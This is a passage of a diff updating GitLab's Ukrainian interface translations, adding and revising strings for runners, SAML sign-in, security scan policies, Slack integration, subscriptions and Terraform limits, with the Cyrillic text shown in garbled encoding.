msgstr "Вибрати вÑÑ–"
@@ -36277,7 +36905,7 @@ msgid "Runners|Show runner installation instructions"
msgstr ""
msgid "Runners|Something went wrong while deleting. Please refresh the page to try again."
-msgstr ""
+msgstr "Проблема при видаленні. Будь лаÑка, оновіть Ñторінку, щоб Ñпробувати знову."
msgid "Runners|Something went wrong while fetching runner data."
msgstr ""
@@ -36295,7 +36923,7 @@ msgid "Runners|Status"
msgstr "СтатуÑ"
msgid "Runners|Stop the runner from accepting new jobs."
-msgstr "Заборонити ранеру приймати нові завданнÑ."
+msgstr "Заборонити раннеру приймати нові завданнÑ."
msgid "Runners|Tags"
msgstr "Теги"
@@ -36350,7 +36978,7 @@ msgid "Runners|Up to date"
msgstr "Ð’ актуальному Ñтані"
msgid "Runners|Upgrade GitLab Runner to match the version of GitLab you're running. Both %{linkStart}major and minor versions%{linkEnd} should match."
-msgstr ""
+msgstr "Оновіть GitLab Runner відповідно до верÑÑ–Ñ— GitLab, Ñку ви викориÑтовуєте. Обидві %{linkStart}оÑновна Ñ– додаткова верÑÑ–Ñ— %{linkEnd} повинні збігатиÑÑ."
msgid "Runners|Upgrade Status"
msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ"
@@ -36365,13 +36993,13 @@ msgid "Runners|Use Group runners when you want all projects in a group to have a
msgstr ""
msgid "Runners|Use the runner for jobs without tags, in addition to tagged jobs."
-msgstr ""
+msgstr "ВикориÑтовуйте раннер Ð´Ð»Ñ Ð·Ð°Ð²Ð´Ð°Ð½ÑŒ без тегів, крім завдань із тегами."
msgid "Runners|Use the runner for the currently assigned projects only. Only administrators can change the assigned projects."
msgstr ""
msgid "Runners|Use the runner on pipelines for protected branches only."
-msgstr "ВикориÑтовуйте ранер в конвеєрах лише Ð´Ð»Ñ Ð·Ð°Ñ…Ð¸Ñ‰ÐµÐ½Ð¸Ñ… гілок."
+msgstr "ВикориÑтовуйте раннер в конвеєрах лише Ð´Ð»Ñ Ð·Ð°Ñ…Ð¸Ñ‰ÐµÐ½Ð¸Ñ… гілок."
msgid "Runners|Value"
msgstr "ЗначеннÑ"
@@ -36394,8 +37022,8 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
-msgstr ""
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
+msgstr "Ви можете налаштувати певний раннер Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ ÐºÑ–Ð»ÑŒÐºÐ¾Ð¼Ð° проєктами, але ви не можете зробити його Ñпільним або груповим раннером."
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "Ви викориÑтали %{quotaUsed} із ваших %{quotaLimit} хвилин Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð² загальних раннерів."
@@ -36413,7 +37041,7 @@ msgid "Runners|shared"
msgstr "Ñпільний"
msgid "Runners|specific"
-msgstr ""
+msgstr "конкретні"
msgid "Runner|Owner"
msgstr "ВлаÑник"
@@ -36449,7 +37077,7 @@ msgid "SAML single sign-on for %{group_name}"
msgstr "Єдиний вхід SAML Ð´Ð»Ñ %{group_name}"
msgid "SAML|Sign in to %{groupName}"
-msgstr ""
+msgstr "Увійти в %{groupName}"
msgid "SAML|Sign in to GitLab to connect your organization's account"
msgstr ""
@@ -36458,7 +37086,7 @@ msgid "SAML|The %{strongOpen}%{group_path}%{strongClose} group allows you to sig
msgstr "Група %{strongOpen}%{group_path}%{strongClose} дозволÑÑ” входити за допомогою єдиного входу."
msgid "SAML|To access %{groupName}, you must sign in using single sign-on through an external sign-in page."
-msgstr ""
+msgstr "Щоб отримати доÑтуп до %{groupName}, ви повинні увійти за допомогою єдиного входу через Ñторінку зовнішнього входу."
msgid "SAML|To allow %{strongOpen}%{group_name}%{strongClose} to manage your GitLab account %{strongOpen}%{username}%{strongClose} (%{email}) after you sign in successfully using single sign-on, select %{strongOpen}Authorize%{strongClose}."
msgstr "Щоб дозволити %{strongOpen}%{group_name}%{strongClose} керувати вашим обліковим запиÑом GitLab %{strongOpen}%{username}%{strongClose} (%{email}) піÑÐ»Ñ ÑƒÑпішного входу за допомогою єдиного входу, виберіть %{strongOpen}Ðвторизувати%{strongClose}."
@@ -36593,19 +37221,25 @@ msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan
msgstr ""
msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan} scan to run with site profile %{siteProfile} and scanner profile %{scannerProfile} with tags %{tags}"
-msgstr ""
+msgstr "%{thenLabelStart}Тоді%{thenLabelEnd} Вимагати ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ %{scan} Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑку з профілем Ñайту %{siteProfile} Ñ– профілем Ñканера %{scannerProfile} з тегами %{tags}"
msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan} scan to run with tags %{tags}"
-msgstr ""
+msgstr "%{thenLabelStart}Потім%{thenLabelEnd} Вимагати ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ %{scan} Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑку з тегами %{tags}"
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr "Конвеєр запущений"
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr "Профіль Ñканера"
msgid "ScanExecutionPolicy|Schedule"
-msgstr ""
+msgstr "Розклад"
msgid "ScanExecutionPolicy|Schedule rule component"
msgstr ""
@@ -36625,14 +37259,11 @@ msgstr "Виберіть профіль Ñканера"
msgid "ScanExecutionPolicy|Select site profile"
msgstr "Вибрати профіль Ñайту"
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr "Профіль Ñайту"
msgid "ScanExecutionPolicy|Tags"
-msgstr ""
+msgstr "Теги"
msgid "ScanExecutionPolicy|agent"
msgstr "агент"
@@ -36643,6 +37274,9 @@ msgstr "гілка"
msgid "ScanExecutionPolicy|in namespaces"
msgstr "у проÑторі імен"
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,10 +37286,34 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
+msgstr "від %{scanners} знайшли більше %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} уразливоÑтей у відкритому запиті на злиттÑ, націленому на %{branches}"
+
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
msgstr ""
msgid "ScanResultPolicy|scanners"
@@ -36665,7 +37323,7 @@ msgid "ScanResultPolicy|severity levels"
msgstr ""
msgid "ScanResultPolicy|vulnerabilities allowed"
-msgstr ""
+msgstr "дозволені вразливоÑÑ‚Ñ–"
msgid "ScanResultPolicy|vulnerability states"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr "Пошук в проєкті"
msgid "Search projects"
msgstr "Пошук проєктів"
-msgid "Search projects..."
-msgstr "Пошук проєктів..."
-
msgid "Search protected branches"
msgstr "Пошук захищених гілок"
@@ -37242,6 +37897,15 @@ msgstr "%{branches} і %{lastBranch} гілки"
msgid "SecurityOrchestration|%{branches} branch"
msgstr "гілка%{branches}"
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr "Дії"
msgid "SecurityOrchestration|Add action"
msgstr "Додати дію"
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr "Додати правило"
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,12 +38272,12 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
-msgstr "уÑÑ– гілки"
-
msgid "SecurityOrchestration|all namespaces"
msgstr ""
+msgid "SecurityOrchestration|all protected branches"
+msgstr ""
+
msgid "SecurityOrchestration|an"
msgstr ""
@@ -37621,6 +38288,9 @@ msgid "SecurityOrchestration|branches"
msgstr "гілки"
msgid "SecurityOrchestration|group level branch"
+msgstr "гілка Ñ€Ñ–Ð²Ð½Ñ Ð³Ñ€ÑƒÐ¿Ð¸"
+
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
msgstr ""
msgid "SecurityOrchestration|scanner finds"
@@ -37660,7 +38330,7 @@ msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Activity"
-msgstr ""
+msgstr "ÐктивніÑÑ‚ÑŒ"
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
@@ -37678,7 +38348,7 @@ msgid "SecurityReports|All images"
msgstr ""
msgid "SecurityReports|All projects"
-msgstr ""
+msgstr "Ð’ÑÑ– проєкти"
msgid "SecurityReports|All severities"
msgstr "Ð’ÑÑ– рівні"
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr "Змінити ÑтатуÑ"
@@ -37717,7 +38384,7 @@ msgid "SecurityReports|Configure security testing"
msgstr ""
msgid "SecurityReports|Create Jira issue"
-msgstr ""
+msgstr "Створити задачу в Jira"
msgid "SecurityReports|Create issue"
msgstr "Створити задачу"
@@ -37834,7 +38501,7 @@ msgid "SecurityReports|No vulnerabilities found for this pipeline"
msgstr ""
msgid "SecurityReports|Not available"
-msgstr ""
+msgstr "Ðе доÑтупно"
msgid "SecurityReports|Oops, something doesn't seem right."
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr "Ð’Ñе ще виÑвлено"
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr "Помилка при відхиленні вразливоÑтей."
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr "Помилка при відхиленні вразливоÑÑ‚Ñ–."
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr "Помилка при анулюванні відхиленнÑ."
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr "Звіт про вразливоÑÑ‚Ñ–"
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38578,7 +39239,7 @@ msgid "SetStatusModal|Set status"
msgstr "Ð’Ñтановити ÑтатуÑ"
msgid "SetStatusModal|Set yourself as busy"
-msgstr ""
+msgstr "Ð’Ñтановити, що ви зайнÑÑ‚Ñ–"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Вибачте, нам не вдалоÑÑ Ð²Ñтановити ваш ÑтатуÑ. Будь лаÑка, Ñпробуйте знову пізніше."
@@ -38738,7 +39399,7 @@ msgid "Show all epics"
msgstr ""
msgid "Show all issues."
-msgstr ""
+msgstr "Показати вÑÑ– задачі."
msgid "Show all milestones"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr "Показати файловий менеджер"
msgid "Show file contents"
msgstr "Показати вміÑÑ‚ файлу"
+msgid "Show filters"
+msgstr "Показати фільтри"
+
msgid "Show group milestones"
msgstr ""
@@ -38807,10 +39471,10 @@ msgid "Show sub-group milestones"
msgstr ""
msgid "Show the Closed list"
-msgstr ""
+msgstr "Показати ÑпиÑок закритих"
msgid "Show the Open list"
-msgstr ""
+msgstr "Показати ÑпиÑок відкритих"
msgid "Show thread"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr "Помилка входу, тому що %{error}."
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,11 +39849,11 @@ msgstr "Вкажіть Ñлово, Ñке найбільше підходить
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
-msgstr "%{asterisk}Крок 1.%{asterisk} під'єднає ваш обліковий Ð·Ð°Ð¿Ð¸Ñ GitLab, щоб розпочати роботу."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
+msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
-msgstr "%{asterisk}Крок 2.%{asterisk} Спробуйте!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
+msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
msgstr "%{emoji}Підключено до облікового запиÑу GitLab %{account}"
@@ -39200,23 +39864,17 @@ msgstr "%{emoji}ЛаÑкаво проÑимо до GitLab Ð´Ð»Ñ Slack!"
msgid "Slack|Connect your GitLab account"
msgstr "Підключіть Ñвій обліковий Ð·Ð°Ð¿Ð¸Ñ GitLab"
-msgid "Slack|Create a new issue"
-msgstr "Створити нову задачу"
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr "Створити нові задачі із Slack: %{command}"
-
-msgid "Slack|Run a CI/CD job"
-msgstr "ЗапуÑтити Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ CI/CD"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
+msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr "ПереглÑньте ÑпиÑок доÑтупних команд: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
+msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr "Оптимізуйте Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ GitLab за допомогою ChatOps. ПіÑÐ»Ñ Ñ‚Ð¾Ð³Ð¾ Ñк ви налаштували конвеєри %{startMarkup}CI/CD%{endMarkup}, Ñпробуйте: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
+msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
-msgstr "ПереглÑдайте вміÑÑ‚ GitLab Ñ– керуйте ним під Ñ‡Ð°Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸ в Slack. Введіть команду Ñк Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ñƒ Ñвоєму клієнті чату, щоб активувати Ñ—Ñ—. %{startMarkup}ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
+msgstr ""
msgid "Slice multiplier"
msgstr ""
@@ -39537,7 +40195,7 @@ msgid "Sort direction: Descending"
msgstr "ÐапрÑмок ÑортуваннÑ: за ÑпаданнÑм"
msgid "Sort or filter"
-msgstr ""
+msgstr "Сортувати або фільтрувати"
msgid "SortOptions|Blocking"
msgstr ""
@@ -39705,7 +40363,7 @@ msgid "Source (branch or tag)"
msgstr "Джерело (гілка або тег)"
msgid "Source Branch"
-msgstr ""
+msgstr "Гілка-джерело"
msgid "Source IP"
msgstr ""
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr "Гілка-джерело"
+msgid "Source branch does not exist"
+msgstr "Гілки джерела не Ñ–Ñнує"
+
+msgid "Source branch is protected from force push"
+msgstr "Гілка джерела захищена від force push"
+
msgid "Source branch will be deleted."
msgstr "Гілку-джерело буде видалено"
@@ -39720,7 +40384,7 @@ msgid "Source branch will not be deleted."
msgstr "Гілку-джерело не буде видалено"
msgid "Source branch: %{source_branch_open}%{source_branch}%{source_branch_close}"
-msgstr ""
+msgstr "Гілка-джерело: %{source_branch_open}%{source_branch}%{source_branch_close}"
msgid "Source code (%{fileExtension})"
msgstr ""
@@ -39834,10 +40498,10 @@ msgid "Speed up your pipelines with Needs relationships"
msgstr ""
msgid "Spent at"
-msgstr ""
+msgstr "Витрачено о"
msgid "Spent at can't be a future date and time."
-msgstr ""
+msgstr "Витрачено не може бути майбутньою датою Ñ– чаÑом."
msgid "Squash commit message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ð¾Ð±'єднаного (squash) коміту"
@@ -39846,7 +40510,7 @@ msgid "Squash commits"
msgstr "Виконати об'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ (squash) комітів"
msgid "Squash commits when merge request is accepted."
-msgstr ""
+msgstr "Об'єднати коміти при прийнÑÑ‚Ñ‚Ñ– запиту на злиттÑ."
msgid "Stack trace"
msgstr "ТраÑÑƒÐ²Ð°Ð½Ð½Ñ Ñтеку"
@@ -39908,15 +40572,15 @@ msgstr "Почати %{new_merge_request} з цими змінами"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Розпочати перевірку"
+msgid "Start another thread"
+msgstr "Почати іншу тему"
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Розпочніть із вибору групи Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ що переглÑдати Ñ—Ñ— запити на злиттÑ. Далі ви зможете накладати фільтри за проєктами, мітками, етапами та авторами."
@@ -39945,7 +40609,7 @@ msgid "Start merge train..."
msgstr ""
msgid "Start remote connection"
-msgstr ""
+msgstr "Почати віддалене з'єднаннÑ"
msgid "Start search"
msgstr "Розпочати пошук"
@@ -40406,18 +41070,36 @@ msgstr "Облік викориÑÑ‚Ð°Ð½Ð½Ñ Ð²Ð¸ÐºÐ¾Ð½ÑƒÑ”Ñ‚ÑŒÑÑ Ð¾Ð´Ð¸Ð½ ра
msgid "Subscriptions"
msgstr "ПідпиÑки"
+msgid "Subscriptions|Activation date"
+msgstr "Дата активації"
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr "Дата закінченнÑ"
+
+msgid "Subscriptions|End date:"
+msgstr "Дата закінченнÑ:"
+
+msgid "Subscriptions|Last sync"
+msgstr "ОÑÑ‚Ð°Ð½Ð½Ñ ÑинхронізаціÑ"
+
+msgid "Subscriptions|None"
+msgstr "Ðемає"
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr "Дата початку"
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr "Додати код активації"
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr "Ð›Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñ Ð½Ð°Ð»ÐµÐ¶Ð¸Ñ‚ÑŒ:"
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40753,7 +41435,7 @@ msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obl
msgstr ""
msgid "SuperSonics|You can sync your subscription data to ensure your details are up to date."
-msgstr ""
+msgstr "Ви можете Ñинхронізувати дані про підпиÑку, щоб переконатиÑÑ, що ваші дані актуальні."
msgid "SuperSonics|You do not have an active subscription"
msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” активної підпиÑки"
@@ -40882,16 +41564,16 @@ msgid "SynthaxHighlightingTheme|Light"
msgstr "Світла"
msgid "SynthaxHighlightingTheme|Monokai"
-msgstr ""
+msgstr "Монокай"
msgid "SynthaxHighlightingTheme|None"
msgstr "Ðемає"
msgid "SynthaxHighlightingTheme|Solarized Dark"
-msgstr ""
+msgstr "СолÑризований темний"
msgid "SynthaxHighlightingTheme|Solarized Light"
-msgstr ""
+msgstr "СолÑризований Ñвітлий"
msgid "System"
msgstr "СиÑтемні"
@@ -41089,7 +41771,7 @@ msgid "Take a look at the documentation to discover all of GitLab’s capabiliti
msgstr ""
msgid "Target"
-msgstr ""
+msgstr "Ціль"
msgid "Target Branch"
msgstr "Цільова гілка"
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "Термінал"
@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr "МакÑимальний розмір файлу (в байтах) ÑтатуÑів Terraform. Ð’Ñтановіть 0 Ð´Ð»Ñ Ð²Ñ–Ð´ÑутноÑÑ‚Ñ– обмежень."
+
+msgid "TerraformLimits|Terraform limits"
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Terraform"
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ€Ñƒ Ñтану Terraform (байти)"
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} уÑпішно видалено"
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "ТеÑти"
-
msgid "TestReports|There are no test cases to display."
msgstr "Ðемає теÑтів Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
@@ -41688,7 +42373,7 @@ msgid "The download link will expire in 24 hours."
msgstr ""
msgid "The environment tiers must be from %{environment_tiers}."
-msgstr ""
+msgstr "Рівні Ñередовища повинні бути від %{environment_tiers}."
msgid "The errors we encountered were:"
msgstr ""
@@ -41724,7 +42409,7 @@ msgid "The following SSH key was deleted by an administrator, %{username}."
msgstr ""
msgid "The following files or directories can only be modified by the user who locked them."
-msgstr ""
+msgstr "ÐаÑтупні файли або директорії можуть лише змінити кориÑтувач, Ñкий заблокував Ñ—Ñ…."
msgid "The following items will NOT be exported:"
msgstr "ÐаÑтупні елементи ÐЕ будуть екÑпортовані:"
@@ -41739,6 +42424,9 @@ msgstr[1] "ÐаÑтупні перÑональні токени доÑтупу:
msgstr[2] "ÐаÑтупні перÑональні токени доÑтупу: %{token_names} анульовано, оÑкільки була задана нова політика щодо терміну дії перÑональних токенів доÑтупу."
msgstr[3] "ÐаÑтупні перÑональні токени доÑтупу: %{token_names} анульовано, оÑкільки була задана нова політика щодо терміну дії перÑональних токенів доÑтупу."
+msgid "The following personal access tokens have expired:"
+msgstr "ÐаÑтупні токени доÑтупу закінчилиÑÑ:"
+
msgid "The fork relationship has been removed."
msgstr "Зв'Ñзок форку видалено."
@@ -41846,10 +42534,10 @@ msgid "The license you uploaded is invalid. If the issue persists, contact suppo
msgstr ""
msgid "The list creation wizard is already open"
-msgstr ""
+msgstr "МайÑтер ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÑпиÑку вже відкрито"
msgid "The maximum amount of time users have to set up two-factor authentication before it's enforced."
-msgstr ""
+msgstr "МакÑимальний проміжок чаÑу, протÑгом Ñкого кориÑтувачі мають налаштувати двофакторну автентифікацію перед Ñ—Ñ— заÑтоÑуваннÑм."
msgid "The maximum file size allowed is %{size}."
msgstr "МакÑимальний розмір файлу — %{size}."
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr "Ðова веб-IDE"
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr "Повідомлень про Ð·Ð»Ð¾Ð²Ð¶Ð¸Ð²Ð°Ð½Ð½Ñ Ð½ÐµÐ¼Ð°Ñ”!"
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr "Ðемає жодних архівних вимог"
@@ -42320,7 +43014,7 @@ msgid "There was an error fetching the environments information."
msgstr ""
msgid "There was an error fetching the job."
-msgstr ""
